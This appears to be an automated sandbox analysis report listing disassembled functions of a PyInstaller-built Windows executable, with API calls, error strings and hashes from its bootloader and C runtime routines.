                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ByteCharMultiWide
                                              • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                              • API String ID: 626452242-27947307
                                              • Opcode ID: 68ef013f5c257526e5a4a2decc1cb5deb5404ee9189374e1049a365f6b0b0852
                                              • Instruction ID: c42d57f5b71c0f5e290d486aa5352e7238124da32157465e0e19d1cbfb1a75f5
                                              • Opcode Fuzzy Hash: 68ef013f5c257526e5a4a2decc1cb5deb5404ee9189374e1049a365f6b0b0852
                                              • Instruction Fuzzy Hash: 5641AD32A09B8282E720CF15B84026AB7A5FB84B90F584735DABD87BD4EF3CD455C784
                                              Function 00007FF6FFD18EF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON
                                              Download Yara Rule
                                              APIs
                                              • WideCharToMultiByte.KERNEL32(?,00007FF6FFD139CA), ref: 00007FF6FFD18F31
                                                • Part of subcall function 00007FF6FFD129C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6FFD18AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD129F4
                                                • Part of subcall function 00007FF6FFD129C0: MessageBoxW.USER32 ref: 00007FF6FFD12AD0
                                              • WideCharToMultiByte.KERNEL32(?,00007FF6FFD139CA), ref: 00007FF6FFD18FA5
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ByteCharMultiWide$ErrorLastMessage
                                              • String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
                                              • API String ID: 3723044601-27947307
                                              • Opcode ID: 4b8f80f614b111e99d886447c0377d3fa2ad0085ce50da6436ff273b72e0facb
                                              • Instruction ID: 874d0a1acfd3fcd6131fe7b1a9a8a26a7730a96920dc27c485585539a42ebf79
                                              • Opcode Fuzzy Hash: 4b8f80f614b111e99d886447c0377d3fa2ad0085ce50da6436ff273b72e0facb
                                              • Instruction Fuzzy Hash: EA215532B09B4285FB10DB26B841169B3A2AB84B80F584735DA7D837D4FF3CE615C384
                                              Function 00007FF6FFD177B0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo$_fread_nolock
                                              • String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
                                              • API String ID: 3231891352-3501660386
                                              • Opcode ID: 12de4fbda132ce6cb05f4d8d3af4badfde23b35f2f99a9828bec22b31e5f261e
                                              • Instruction ID: dfd9abc8ee18974345a895f30ccdcbfe28f1f25d799b8b41326a6110bea21cde
                                              • Opcode Fuzzy Hash: 12de4fbda132ce6cb05f4d8d3af4badfde23b35f2f99a9828bec22b31e5f261e
                                              • Instruction Fuzzy Hash: FD516B61A0D64345FB20AB26A9412B97791AF85BD0F480331EA7EC77E7FE2CE50483D0
                                              Function 00007FF6FFD17630 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 00007FF6FFD18DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6FFD12A9B), ref: 00007FF6FFD18E1A
                                              • ExpandEnvironmentStringsW.KERNEL32(00000000,00007FF6FFD17BB1,00000000,?,00000000,00000000,?,00007FF6FFD1153F), ref: 00007FF6FFD1768F
                                                • Part of subcall function 00007FF6FFD12B10: MessageBoxW.USER32 ref: 00007FF6FFD12BE5
                                              Strings
                                              • LOADER: Failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF6FFD176A3
                                              • LOADER: Failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF6FFD17666
                                              • LOADER: Failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF6FFD176EA
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
                                              • String ID: LOADER: Failed to convert runtime-tmpdir to a wide string.$LOADER: Failed to expand environment variables in the runtime-tmpdir.$LOADER: Failed to obtain the absolute path of the runtime-tmpdir.
                                              • API String ID: 1662231829-3498232454
                                              • Opcode ID: c86ba785b39e1744ff17e8f21851e01a02fd234bd2ff69c05b5589a30fcca8ce
                                              • Instruction ID: acce17090e51c6985cb8cb4deba905b5441167ce12f4b01f1de6dd065b957b22
                                              • Opcode Fuzzy Hash: c86ba785b39e1744ff17e8f21851e01a02fd234bd2ff69c05b5589a30fcca8ce
                                              • Instruction Fuzzy Hash: 50315251B1D74241FB61AB25E9563BA7391AF987C0F440732DA7EC36D6FE2CE504C680
                                              Function 00007FF6FFD1E3C8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF6FFD1E67A,?,?,?,00007FF6FFD1D5AC,?,?,?,00007FF6FFD1D1A1), ref: 00007FF6FFD1E44D
                                              • GetLastError.KERNEL32(?,?,?,00007FF6FFD1E67A,?,?,?,00007FF6FFD1D5AC,?,?,?,00007FF6FFD1D1A1), ref: 00007FF6FFD1E45B
                                              • LoadLibraryExW.KERNEL32(?,?,?,00007FF6FFD1E67A,?,?,?,00007FF6FFD1D5AC,?,?,?,00007FF6FFD1D1A1), ref: 00007FF6FFD1E485
                                              • FreeLibrary.KERNEL32(?,?,?,00007FF6FFD1E67A,?,?,?,00007FF6FFD1D5AC,?,?,?,00007FF6FFD1D1A1), ref: 00007FF6FFD1E4F3
                                              • GetProcAddress.KERNEL32(?,?,?,00007FF6FFD1E67A,?,?,?,00007FF6FFD1D5AC,?,?,?,00007FF6FFD1D1A1), ref: 00007FF6FFD1E4FF
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Library$Load$AddressErrorFreeLastProc
                                              • String ID: api-ms-
                                              • API String ID: 2559590344-2084034818
                                              • Opcode ID: 5cef7e97cf10635b7adbe76254dad29ae16abfe91812266f9aed7336451ff82a
                                              • Instruction ID: 59d0bbefb57632dd99adbacca1ff192f6b76d19e62714d6be985e1e5949a52c4
                                              • Opcode Fuzzy Hash: 5cef7e97cf10635b7adbe76254dad29ae16abfe91812266f9aed7336451ff82a
                                              • Instruction Fuzzy Hash: 47317C26A1AA4291FF25DB46A8005A533D4BF48BA0F190735EE3D8A7D4FE3CF4908280
                                              Function 00007FF6FFD18DE0 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 68COMMON
                                              Download Yara Rule
                                              APIs
                                              • MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6FFD12A9B), ref: 00007FF6FFD18E1A
                                                • Part of subcall function 00007FF6FFD129C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6FFD18AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD129F4
                                                • Part of subcall function 00007FF6FFD129C0: MessageBoxW.USER32 ref: 00007FF6FFD12AD0
                                              • MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6FFD12A9B), ref: 00007FF6FFD18EA0
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ByteCharMultiWide$ErrorLastMessage
                                              • String ID: Failed to decode wchar_t from UTF-8$Failed to get wchar_t buffer size.$MultiByteToWideChar$Out of memory.$win32_utils_from_utf8
                                              • API String ID: 3723044601-876015163
                                              • Opcode ID: 7f97f1849ec178b0ff8ea583991b98c80d8c160445cd7602e716bcd8403426a8
                                              • Instruction ID: 0683532ca863515a59e5688144ad34667c68b7ac816ee2c8f23bd445f3816d44
                                              • Opcode Fuzzy Hash: 7f97f1849ec178b0ff8ea583991b98c80d8c160445cd7602e716bcd8403426a8
                                              • Instruction Fuzzy Hash: 3F216B22B08A4281EB10CB29F84116AA3A1EB897C4F584731DB7CD3BE9FF7ED5518744
                                              Function 00007FF6FFD2BF00 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Value$ErrorLast
                                              • String ID:
                                              • API String ID: 2506987500-0
                                              • Opcode ID: df2ded1ae2d12cacab90ddcd018bee7069951accd7a28f59ea2aa6442bb7c29d
                                              • Instruction ID: 8712b5dc657c7539093889a726249204b8ab248b883610825505a74b392a8c35
                                              • Opcode Fuzzy Hash: df2ded1ae2d12cacab90ddcd018bee7069951accd7a28f59ea2aa6442bb7c29d
                                              • Instruction Fuzzy Hash: B0218125F0E64241FB586331965117E63625F847B0F144B34E93EC76E6FE6EB5414BC0
                                              Function 00007FF6FFD38D9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
                                              • String ID: CONOUT$
                                              • API String ID: 3230265001-3130406586
                                              • Opcode ID: 56c47cfc8464f7969a639e7ce3d60490623cf8b9b00151c5924cedcf2ef07519
                                              • Instruction ID: 7157bcdbcb18258939986320ef58e0e5f8c3785f76fefaec44853059bdf478e3
                                              • Opcode Fuzzy Hash: 56c47cfc8464f7969a639e7ce3d60490623cf8b9b00151c5924cedcf2ef07519
                                              • Instruction Fuzzy Hash: A5115B22A18A8186F7508B56F89532963A0FB88FE4F044334EA7DC77E4EF7DD9448784
                                              Function 00007FF6FFD2C078 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • GetLastError.KERNEL32(?,?,?,00007FF6FFD25CBD,?,?,?,?,00007FF6FFD2F9AF,?,?,00000000,00007FF6FFD2C196,?,?,?), ref: 00007FF6FFD2C087
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD25CBD,?,?,?,?,00007FF6FFD2F9AF,?,?,00000000,00007FF6FFD2C196,?,?,?), ref: 00007FF6FFD2C0BD
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD25CBD,?,?,?,?,00007FF6FFD2F9AF,?,?,00000000,00007FF6FFD2C196,?,?,?), ref: 00007FF6FFD2C0EA
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD25CBD,?,?,?,?,00007FF6FFD2F9AF,?,?,00000000,00007FF6FFD2C196,?,?,?), ref: 00007FF6FFD2C0FB
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD25CBD,?,?,?,?,00007FF6FFD2F9AF,?,?,00000000,00007FF6FFD2C196,?,?,?), ref: 00007FF6FFD2C10C
                                              • SetLastError.KERNEL32(?,?,?,00007FF6FFD25CBD,?,?,?,?,00007FF6FFD2F9AF,?,?,00000000,00007FF6FFD2C196,?,?,?), ref: 00007FF6FFD2C127
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Value$ErrorLast
                                              • String ID:
                                              • API String ID: 2506987500-0
                                              • Opcode ID: da8c6ca16c8b883ebc71625bfe0f28af63b483cac13b62078f3c5bdeda11927e
                                              • Instruction ID: 12bc6f3091b917dfde63fc32358a343ba3a81b5b7327c85f59ae9c50ce5c6821
                                              • Opcode Fuzzy Hash: da8c6ca16c8b883ebc71625bfe0f28af63b483cac13b62078f3c5bdeda11927e
                                              • Instruction Fuzzy Hash: 4D115C25F0D28242FB54A725AA5117A23A29F847F0F140B34E83EC76E6FF2EB84157C0
                                              Function 00007FF6FFD125E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
                                              • String ID: Unhandled exception in script
                                              • API String ID: 3081866767-2699770090
                                              • Opcode ID: 7306380fa00786dd34543e50636d1eb829ac66d68af8c251f6b6aa16652876a0
                                              • Instruction ID: 3dab64eda87758565bafe1e3df1f68934c28ebe6ca8029c28d76ac6f4f3bc634
                                              • Opcode Fuzzy Hash: 7306380fa00786dd34543e50636d1eb829ac66d68af8c251f6b6aa16652876a0
                                              • Instruction Fuzzy Hash: 9E316272A09A8285EB20DF21E8552F973A0FF89784F440335EA6D87B99EF3DD105C780
                                              Function 00007FF6FFD129C0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 69windowCOMMON
                                              Download Yara Rule
                                              APIs
                                              • GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6FFD18AF2,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD129F4
                                                • Part of subcall function 00007FF6FFD18770: GetLastError.KERNEL32(00000000,00007FF6FFD12A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF6FFD1101D), ref: 00007FF6FFD18797
                                                • Part of subcall function 00007FF6FFD18770: FormatMessageW.KERNEL32 ref: 00007FF6FFD187C6
                                                • Part of subcall function 00007FF6FFD18DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6FFD12A9B), ref: 00007FF6FFD18E1A
                                              • MessageBoxW.USER32 ref: 00007FF6FFD12AD0
                                              • MessageBoxA.USER32 ref: 00007FF6FFD12AEC
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Message$ErrorLast$ByteCharFormatMultiWide
                                              • String ID: %s%s: %s$Fatal error detected
                                              • API String ID: 2806210788-2410924014
                                              • Opcode ID: e540fe95cbcf3c4f9a9ac735379b1c9e9ae60ded60aea03e9d716fb219e4d584
                                              • Instruction ID: bd1b2ff3a38aae6c6f251c137831f2f401b389bb58675aa80b16c6dbdeae30fb
                                              • Opcode Fuzzy Hash: e540fe95cbcf3c4f9a9ac735379b1c9e9ae60ded60aea03e9d716fb219e4d584
                                              • Instruction Fuzzy Hash: C1311E72628A8691E720DB10E4516EA73A4FB847C4F404336E7AD92A99EF3CD605CB80
                                              Function 00007FF6FFD2A83C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: AddressFreeHandleLibraryModuleProc
                                              • String ID: CorExitProcess$mscoree.dll
                                              • API String ID: 4061214504-1276376045
                                              • Opcode ID: 2230a043baf354bfbc53885d3c0454218b923bdff90d2529a0827c645eda448d
                                              • Instruction ID: e87138be82bc7e2b3062a51784bf32651d1d8cf76cf38b4682bbffa8b8c76b3c
                                              • Opcode Fuzzy Hash: 2230a043baf354bfbc53885d3c0454218b923bdff90d2529a0827c645eda448d
                                              • Instruction Fuzzy Hash: 41F06D62B09A0281FB148B24E44637963A0FF887A5F540739DA7EC52E4EF3DE049D780
                                              Function 00007FF6FFD3A420 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _set_statfp
                                              • String ID:
                                              • API String ID: 1156100317-0
                                              • Opcode ID: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
                                              • Instruction ID: 30586ec84b56d978a2593e221e1ade7663f1fe7404604390e95b881f071d9f38
                                              • Opcode Fuzzy Hash: a62d4fcbb0970871e45180a1f834c32a3c4d190302dd8db61346826940fa499d
                                              • Instruction Fuzzy Hash: 4F115E2AF1CA0301FB9C1168E44F37923416F59370E1A0BB5EB7E866D6BE2CE8404285
                                              Function 00007FF6FFD2C140 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • FlsGetValue.KERNEL32(?,?,?,00007FF6FFD2B35B,?,?,00000000,00007FF6FFD2B5F6,?,?,?,?,?,00007FF6FFD238BC), ref: 00007FF6FFD2C15F
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD2B35B,?,?,00000000,00007FF6FFD2B5F6,?,?,?,?,?,00007FF6FFD238BC), ref: 00007FF6FFD2C17E
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD2B35B,?,?,00000000,00007FF6FFD2B5F6,?,?,?,?,?,00007FF6FFD238BC), ref: 00007FF6FFD2C1A6
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD2B35B,?,?,00000000,00007FF6FFD2B5F6,?,?,?,?,?,00007FF6FFD238BC), ref: 00007FF6FFD2C1B7
                                              • FlsSetValue.KERNEL32(?,?,?,00007FF6FFD2B35B,?,?,00000000,00007FF6FFD2B5F6,?,?,?,?,?,00007FF6FFD238BC), ref: 00007FF6FFD2C1C8
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: Value
                                              • String ID:
                                              • API String ID: 3702945584-0
                                              • Opcode ID: 10ef7b20446d589d7543043f1c539080fe2d32c680aee76621b2f3de37225325
                                              • Instruction ID: 7336a2a02518dc083a51417ea72fcf31ab812d8f899bcc66ea4e5e38e6491e6e
                                              • Opcode Fuzzy Hash: 10ef7b20446d589d7543043f1c539080fe2d32c680aee76621b2f3de37225325
                                              • Instruction Fuzzy Hash: B9114C21F0D64241FB59A725A94217A23925F843F0F184B35E83EC76E6FE2EB80186C0
                                              Function 00007FF6FFD2BFD4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
